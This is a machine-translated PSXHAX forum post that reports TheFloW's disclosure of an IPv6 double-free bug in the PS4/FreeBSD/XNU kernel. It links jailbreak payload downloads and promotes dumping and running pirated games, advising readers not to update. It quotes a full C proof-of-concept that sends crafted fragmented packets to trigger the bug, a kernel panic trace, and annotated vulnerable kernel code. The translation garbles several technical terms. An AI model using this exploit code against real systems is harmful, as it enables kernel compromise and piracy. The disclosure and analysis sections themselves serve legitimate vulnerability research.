加入我们 并成为一个 会员 为一个 验证徽章 不和谐 访问最新的私人区域 PS4 FPKG.
PS4越狱       线程启动器 PSXHAX       开始日期 2021年1月12日,下午4:20       81,797       163      
继他以前 PS4 7.02内核漏洞(KEX)PS4 7.02 / 7.51 / 7.55 WebKit漏洞利用, PS4 7.02全栈PS4JB 7.02越狱 今天的开发商 流量0 通过 错误赏金 现场 HackerOne.com 公开披露了他在今年7月报告的PS4漏洞, 当正确地与 WebKit漏洞利用 允许转储和运行PS4游戏备份! 😍

 :警报: 请务必注意,PS4 Scene开发人员建议 此时更新您的PlayStation 4固件!  :警报:

下载: 7.55&8.00-Payloads.7z (33.97 KB)/ 补丁755-Loader.cpp / 补丁755-内核.cpp / ps4punch.7.55.rar (725.65 KB)/ 4.00-8.00-Payloads.7z (34.68 KB)

当前的7.55 / 8.00 PS4有效负载包括:
  • app2usb.bin
  • app-dumper.bin
  • backup.bin
  • disable-aslr.bin
  • disable-updates.bin
  • enable-browser.bin
  • enable-updates.bin
  • 风扇阈值
  • ftp.bin
  • history-blocker.bin
  • kernel-clock.bin
  • 内核转储程序
  • module-dumper.bin
  • restore.bin
  • rif-renamer.bin
流量0 通过 HackerOne.com, 去引用: Webkit进程可访问的SOCK_RAW套接字允许在IP6_EXTHDR_CHECK中触发双重释放

概要


由于IP6_EXTHDR_CHECK的使用不当和不一致,可以通过将片段化的IPv6数据包发送到环回接口来实现内存损坏。

如果将数据包发送到回送接口,则宏IP6_EXTHDR_CHECK可以释放mbuf。在dest6_input(),frag6_input()及更高版本中未考虑此事实。例如,在dest6_input()中,不更新双指针:
Code:
int
dest6_input(struct mbuf **mp, int *offp, int proto)
{
struct mbuf *m = *mp;
...
IP6_EXTHDR_CHECK(m, off, sizeof(*dstopts), return IPPROTO_DONE);
...
*offp = off;
return dstopts->ip6d_nxt;
}
因此,在解析下一个标头时,可以再次释放mbuf,从而导致双重释放,当我们再次分配mbuf时,它的行为就像是先用后用。

通常,此路径是不可触发的,因为发送到回送接口需要SOCK_RAW根特权。 但是,由于某些原因,可以在Webkit进程中打开PS4 SOCK_RAW套接字!

附件是poc.c,它必须在FreeBSD 9机器上以root特权运行。它展示了能够将特权升级到内核。
附带的还有ps4.c,它经过了稍微的调整才能在PS4上工作(您需要添加include等才能使用您的官方***对其进行编译,我使用自定义框架进行了编译)。

poc.c的可靠性很高,大约为80%,而ps4.c的可靠性不是很高,我估计大约为20%。

影响力
  • 结合WebKit利用,可以实现完全连锁的远程攻击。
  • 可以窃取/操纵用户数据。
  • 转储并运行p!rated游戏。
瑟达克猫 通过 Github.com 随附PoC源代码,如下所示: XNU:多个IP6_EXTHDR_CHECK释放后使用/双重释放漏洞

概要


由于IP6_EXTHDR_CHECK的使用不当和不一致,可以通过将片段化的IPv6数据包发送到环回接口来实现内存损坏。

严重程度

我们将此漏洞视为中等漏洞。虽然概念验证需要root用户特权才能打开SOCK_RAW套接字以发送碎片数据包,但也可以使用用户特权甚至从沙箱中获得这些漏洞。如果将数据包配置为转发到环回,也可能会远程触发。

概念证明

随附的是针对dest6_input路径的概念证明。虽然下面提供的内核恐慌来自xnu-6041.0.0.111.5,但我们对最新内核进行了反向工程并验证了所有漏洞仍然存在。

紧急记录:
Code:
panic(cpu 1 caller 0xffffff800daeac38): "m_free: freeing an already freed mbuf"@/BuildRoot/Library/Caches/com.apple.xbs/Sources/xnu/xnu-6041.0.0.111.5/bsd/kern/uipc_mbuf.c:3793
Backtrace (CPU 1), Frame : Return Address
0xffffff80be07b750 : 0xffffff800d55b12b mach_kernel : _handle_debugger_trap + 0x47b
0xffffff80be07b7a0 : 0xffffff800d690a95 mach_kernel : _kdp_i386_trap + 0x155
0xffffff80be07b7e0 : 0xffffff800d68271b mach_kernel : _kernel_trap + 0x4fb
0xffffff80be07b830 : 0xffffff800d501bb0 mach_kernel : _return_from_trap + 0xe0
0xffffff80be07b850 : 0xffffff800d55a817 mach_kernel : _DebuggerTrapWithState + 0x17
0xffffff80be07b950 : 0xffffff800d55abf6 mach_kernel : _panic_trap_to_debugger + 0x216
0xffffff80be07b9a0 : 0xffffff800dcd2939 mach_kernel : _panic + 0x61
0xffffff80be07ba10 : 0xffffff800daeac38 mach_kernel : _m_retryhdr + 0x3f8
0xffffff80be07ba30 : 0xffffff800d9c8248 mach_kernel : _icmp6_input + 0xe8
0xffffff80be07bb60 : 0xffffff800d9dae69 mach_kernel : _ip6_input + 0xfd9
0xffffff80be07bcf0 : 0xffffff800d9d9dbd mach_kernel : _ip6_init + 0x76d
0xffffff80be07bd30 : 0xffffff800d868e85 mach_kernel : _proto_input + 0xd5
0xffffff80be07bd60 : 0xffffff800d830dc9 mach_kernel : _loopattach + 0xc89
0xffffff80be07bd80 : 0xffffff800d8220f6 mach_kernel : _ifnet_notify_data_threshold + 0x1646
0xffffff80be07bdb0 : 0xffffff800d821d91 mach_kernel : _ifnet_notify_data_threshold + 0x12e1
0xffffff80be07bf40 : 0xffffff800d82231e mach_kernel : _ifnet_datamov_end + 0x1fe
0xffffff80be07bfa0 : 0xffffff800d50113e mach_kernel : _call_continuation + 0x2e
以超级用户身份运行此代码:
Code:
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <net/if_var.h>
#include <netinet/ip6.h>

struct packet1 {
struct ip6_hbh hbh;
struct ip6_opt hbh_opt;
uint8_t hbh_pad[4];
struct ip6_frag frag;
struct ip6_dest dest;
struct ip6_opt dest_opt;
uint8_t dest_pad[4];
};

struct packet2 {
struct ip6_hbh hbh;
struct ip6_opt hbh_opt;
uint8_t hbh_pad[4];
struct ip6_frag frag;
struct ip6_opt dest_opt;
uint8_t dest_pad[6];
uint8_t payload[16];
};

int main(int argc, char *argv[]) {
struct sockaddr_in6 daddr;
struct packet1 packet1;
struct packet2 packet2;
int s, id, res;

srand(time(NULL));
id = rand();

s = socket(AF_INET6, SOCK_RAW, IPPROTO_HOPOPTS);
if (s < 0) {
perror("socket");
return 1;
}

memset(&daddr, 0, sizeof(daddr));
daddr.sin6_family = AF_INET6;
daddr.sin6_port = 0;
inet_pton(AF_INET6, "::1", &daddr.sin6_addr);

memset(&packet1, 'A', sizeof(struct packet1));
packet1.hbh.ip6h_nxt = IPPROTO_FRAGMENT;
packet1.hbh.ip6h_len = 0;
packet1.hbh_opt.ip6o_type = IP6OPT_PADN;
packet1.hbh_opt.ip6o_len = 4;
packet1.frag.ip6f_nxt = IPPROTO_DSTOPTS;
packet1.frag.ip6f_reserved = 0;
packet1.frag.ip6f_offlg = htons(0) | IP6F_MORE_FRAG;
packet1.frag.ip6f_ident = id;
// Use IPPROTO_RAW for "assertion failed: m->m_flags & M_PKTHDR" panic
// Use IPPROTO_ICMPV6 for "m_free: freeing an already freed mbuf" panic
packet1.dest.ip6d_nxt = IPPROTO_ICMPV6;
packet1.dest.ip6d_len = 1;
packet1.dest_opt.ip6o_type = IP6OPT_PADN;
packet1.dest_opt.ip6o_len = 4;

memset(&packet2, 'B', sizeof(struct packet2));
packet2.hbh.ip6h_nxt = IPPROTO_FRAGMENT;
packet2.hbh.ip6h_len = 0;
packet2.hbh_opt.ip6o_type = IP6OPT_PADN;
packet2.hbh_opt.ip6o_len = 4;
packet2.frag.ip6f_nxt = IPPROTO_DSTOPTS;
packet2.frag.ip6f_reserved = 0;
packet2.frag.ip6f_offlg = htons(8);
packet2.frag.ip6f_ident = id;
packet2.dest_opt.ip6o_type = IP6OPT_PADN;
packet2.dest_opt.ip6o_len = 6;

res = sendto(s, (char *)&packet1, sizeof(packet1), 0,
(struct sockaddr *)&daddr, (socklen_t)sizeof(daddr));
if (res < 0) {
perror("sendto");
return 1;
}

res = sendto(s, (char *)&packet2, sizeof(packet2), 0,
(struct sockaddr *)&daddr, (socklen_t)sizeof(daddr));
if (res < 0) {
perror("sendto");
return 1;
}

close(s);
return 0;
}
分析

所有代码段均取自最新的xnu-6153.11.26。

背景

宏IP6_EXTHDR_CHECK确保IP6标头和目标标头之间的区域连续。
Code:
#define IP6_EXTHDR_CHECK(m, off, hlen, action) \
do { \
if ((m)->m_next != NULL) { \
if (((m)->m_flags & M_LOOP) && \
((m)->m_len < (off) + (hlen)) && \
(((m) = m_pullup((m), (off) + (hlen))) == NULL)) { \
ip6stat.ip6s_exthdrtoolong++; \
action; \
} else if ((m)->m_flags & M_EXT) { \
if ((m)->m_len < (off) + (hlen)) { \
ip6stat.ip6s_exthdrtoolong++; \
m_freem(m); \
(m) = NULL; \
action; \
} \
} else { \
...
} \
} while (0)
如果没有足够的可用空间,则丢弃远程数据包。但是,对于从环回接收到的数据包,它将调用m_pullup并尝试重新排列mbuf链,以使从0到off + hlen的数据包含在单个mbuf中。
Code:
struct mbuf *
m_pullup(struct mbuf *n, int len)
{
...
if ((n->m_flags & M_EXT) == 0 &&
...
} else {
if (len > MHLEN) {
goto bad;
}
_MGET(m, M_DONTWAIT, n->m_type);
if (m == 0) {
goto bad;
}
m->m_len = 0;
if (n->m_flags & M_PKTHDR) {
M_COPY_PKTHDR(m, n);
n->m_flags &= ~M_PKTHDR;
}
}
space = &m->m_dat[MLEN] - (m->m_data + m->m_len);
do {
...
if (n->m_len != 0) {
n->m_data += count;
} else {
n = m_free(n);
}
} while (len > 0 && n != NULL);
if (len > 0) {
(void) m_free(m);
goto bad;
}
m->m_next = n;
return m;
bad:
m_freem(n);
MPFail++;
return 0;
}
如果m_pullup成功,则mbuf链中覆盖len个字节的节点 有空 并返回mbuf的新头。然后,将其分配给IP6_EXTHDR_CHECK中的m。

漏洞

不幸的是,IP6_EXTHDR_CHECK的使用非常差且不一致。存在 10种不同的子程序 分布在ipv6网络子系统中,该子系统未考虑mbuf的某些节点可能已释放。
  • 在这两个子例程中,我们可能会触发一个 双人免费:
    • dest6_input
    • route6_input
  • 在这4个子程序中,我们可能会触发一个 免费写:
    • frag6_input
    • icmp6_redirect_input
    • nd6_na_input
    • nd6_ns_input
  • 在这4个子程序中,我们可能会触发一个 免费阅读:
    • ah6_input
    • mld_input
    • nd6_ra_input
    • nd6_rs_input
触发m_free

为了释放mbuf链中的节点,必须满足以下条件:
  • m_flags必须设置M_LOOP:这可以通过将数据包发送到回送设备来实现。
  • 数据包,尤其是其扩展头,必须拆分为多个mbuf:这可以通过以下方式实现: 发送分段的数据包。然后,frag6_input将使用t->m_next = IP6_REASS_MBUF(af6);。
  • mbuf不得使用其内部数据,而应使用附加的mbuf群集。这似乎是默认行为。
  • 拆分标头的偏移量及其大小不得超过MHLEN。
可达性

虽然概念验证需要root用户特权才能打开SOCK_RAW套接字以发送碎片数据包,但也可以使用用户特权甚至从沙箱中获得这些漏洞。我们花了一些时间调查 远程攻击的可能性。实际上,如果用户将其ipfw配置为重定向/转发回环,则也可能触发它们。

实例探究

下面显示了相应漏洞的代码片段。重要的行用[X]注释,但是没有注释,因为错误应该很明显。

双人免费

在以下两个子例程中,传递了双指针mp,但* mp是 未更新 在IP6_EXTHDR_CHECK之后。这些是扩展头的解析器,因此它们之后可以是另一个目标解析器,该目标解析器可以再次释放m,从而导致double释放。此外,由于m_pullup删除了标记M_PKTHDR,因此我们实际上有一个 类型混乱。可以取消引用struct pkthdr的不可信指针。

dest6_input
Code:
int
dest6_input(struct mbuf **mp, int *offp, int proto)
{
struct mbuf *m = *mp;
...
IP6_EXTHDR_CHECK(m, off, sizeof(*dstopts), return IPPROTO_DONE);    [1]
...
*offp = off;
return dstopts->ip6d_nxt;
}
route6_input
Code:
int
route6_input(struct mbuf **mp, int *offp, int proto)
{
struct mbuf *m = *mp;
...
IP6_EXTHDR_CHECK(m, off, sizeof(*rh), return IPPROTO_DONE);        [1]
...
*offp += rhlen;
return rh->ip6r_nxt;
}
免费写

在以下四个子例程中,可以通过in6_setscope或直接写入s6_addr16 [1]来修改陈旧mbuf的内容。通过与喷洒mbuf的其他线程进行竞争,可能可以回收mbuf和损坏的数据。
Code:
int
in6_setscope(struct in6_addr *in6, struct ifnet *ifp, u_int32_t *ret_id)
{
...
if (IN6_IS_SCOPE_LINKLOCAL(in6) || IN6_IS_ADDR_MC_INTFACELOCAL(in6)) {
in6->s6_addr16[1] = htons(zoneid & 0xffff); /* XXX */
}
return 0;
}
frag6_input
Code:
int
frag6_input(struct mbuf **mp, int *offp, int proto)
{
...
ip6 = mtod(m, struct ip6_hdr *);                    [1]
IP6_EXTHDR_CHECK(m, offset, sizeof(struct ip6_frag), goto done);    [2]
ip6f = (struct ip6_frag *)((caddr_t)ip6 + offset);            [3]
...
if (ip6f->ip6f_nxt == IPPROTO_UDP &&                    [4]
...) {
...
if (start != offset || trailer != 0) {
uint16_t s = 0, d = 0;

if (IN6_IS_SCOPE_EMBED(&ip6->ip6_src)) {
s = ip6->ip6_src.s6_addr16[1];
ip6->ip6_src.s6_addr16[1] = 0;            [5]
}
...
}
...
}
...
}
icmp6_redirect_input
Code:
void
icmp6_redirect_input(struct mbuf *m, int off)
{
...
ip6 = mtod(m, struct ip6_hdr *);                    [1]
...
IP6_EXTHDR_CHECK(m, off, icmp6len, return );                [2]
nd_rd = (struct nd_redirect *)((caddr_t)ip6 + off);            [3]

redtgt6 = nd_rd->nd_rd_target;
reddst6 = nd_rd->nd_rd_dst;

if (in6_setscope(&redtgt6, m->m_pkthdr.rcvif, NULL) ||            [4]
in6_setscope(&reddst6, m->m_pkthdr.rcvif, NULL)) {
goto freeit;
}
...
}
nd6_na_input
Code:
void
nd6_na_input(struct mbuf *m, int off, int icmp6len)
{
...
struct ip6_hdr *ip6 = mtod(m, struct ip6_hdr *);            [1]
...
IP6_EXTHDR_CHECK(m, off, icmp6len, return );                [2]
nd_na = (struct nd_neighbor_advert *)((caddr_t)ip6 + off);        [3]
m->m_pkthdr.pkt_flags |= PKTF_INET6_RESOLVE;

flags = nd_na->nd_na_flags_reserved;
is_router = ((flags & ND_NA_FLAG_ROUTER) != 0);
is_solicited = ((flags & ND_NA_FLAG_SOLICITED) != 0);
is_override = ((flags & ND_NA_FLAG_OVERRIDE) != 0);

taddr6 = nd_na->nd_na_target;
if (in6_setscope(&taddr6, ifp, NULL)) {                    [4]
goto bad;       /* XXX: impossible */
}
...
}
nd6_ns_input
Code:
void
nd6_ns_input(
struct mbuf *m,
int off,
int icmp6len)
{
...
struct ip6_hdr *ip6 = mtod(m, struct ip6_hdr *);            [1]
...
IP6_EXTHDR_CHECK(m, off, icmp6len, return );                [2]
nd_ns = (struct nd_neighbor_solicit *)((caddr_t)ip6 + off);        [3]
m->m_pkthdr.pkt_flags |= PKTF_INET6_RESOLVE;

ip6 = mtod(m, struct ip6_hdr *); /* adjust pointer for safety */
taddr6 = nd_ns->nd_ns_target;
if (in6_setscope(&taddr6, ifp, NULL) != 0) {                [4]
goto bad;
}
...
}
免费阅读

在以下四个子例程中,未确定对mbuf的写操作,即内存损坏。但是,可能会泄漏内核内存。

ah6_input
Code:
int
ah6_input(struct mbuf **mp, int *offp, int proto)
{
...
IP6_EXTHDR_CHECK(m, off, sizeof(struct ah), {return IPPROTO_DONE;});    [1]
ah = (struct ah *)(void *)(mtod(m, caddr_t) + off);            [2]
...
{
...
IP6_EXTHDR_CHECK(m, off, sizeof(struct ah) + sizoff + siz1,    [3]
{return IPPROTO_DONE;});
}
...
if ((sav->flags & SADB_X_EXT_OLD) == 0 && sav->replay[0] != NULL) {
if (ipsec_updatereplay(ntohl(((struct newah *)ah)->ah_seq), sav, 0)) {    [4]
IPSEC_STAT_INCREMENT(ipsec6stat.in_ahreplay);
goto fail;
}
}
...
}
mld_input
Code:
int
mld_input(struct mbuf *m, int off, int icmp6len)
{
...
ip6 = mtod(m, struct ip6_hdr *);                    [1]
IP6_EXTHDR_CHECK(m, off, mldlen, return IPPROTO_DONE);            [2]
IP6_EXTHDR_GET(mld, struct mld_hdr *, m, off, mldlen);            [3]
if (mld == NULL) {
icmp6stat.icp6s_badlen++;
return IPPROTO_DONE;
}
...
switch (mld->mld_type) {
case MLD_LISTENER_QUERY:
icmp6_ifstat_inc(ifp, ifs6_in_mldquery);
if (icmp6len == sizeof(struct mld_hdr)) {
if (mld_v1_input_query(ifp, ip6, mld) != 0) {        [4]
return 0;
}
}
...
break;
...
}

return 0;

}

nd6_ra_input

void
nd6_ra_input(
struct mbuf *m,
int off,
int icmp6len)
{
...
struct ip6_hdr *ip6 = mtod(m, struct ip6_hdr *);            [1]
...
IP6_EXTHDR_CHECK(m, off, icmp6len, return );                [2]
nd_ra = (struct nd_router_advert *)((caddr_t)ip6 + off);        [3]
...
}
nd6_rs_input
Code:
void
nd6_rs_input(
struct mbuf *m,
int off,
int icmp6len)
{
...
struct ip6_hdr *ip6 = mtod(m, struct ip6_hdr *);            [1]
...
IP6_EXTHDR_CHECK(m, off, icmp6len, return );                [2]
nd_rs = (struct nd_router_solicit *)((caddr_t)ip6 + off);        [3]
...
}
学分
 :理念: 请务必遵循 PSXHAX 会员验证&PS4假PKG(FPKG)共享指南 成为一个 认证会员 通过获得 蓝色认证徽章 (扰流板中的常见问题解答 这里 )通过我们 PSXHAX 浮动不和谐频道 访问私人或禁区以获取最新的FPKG游戏和反向移植!  -‍☠️
欢呼 尼基米奇 对于这个单挑 PS4场景 新闻更早! 🍻
通过TheFloW公开的PS4 Exploit&PS4 7.55 8.00有效载荷-唐't Update!.jpg
 

评论

 :火: 最新帮助主题

最佳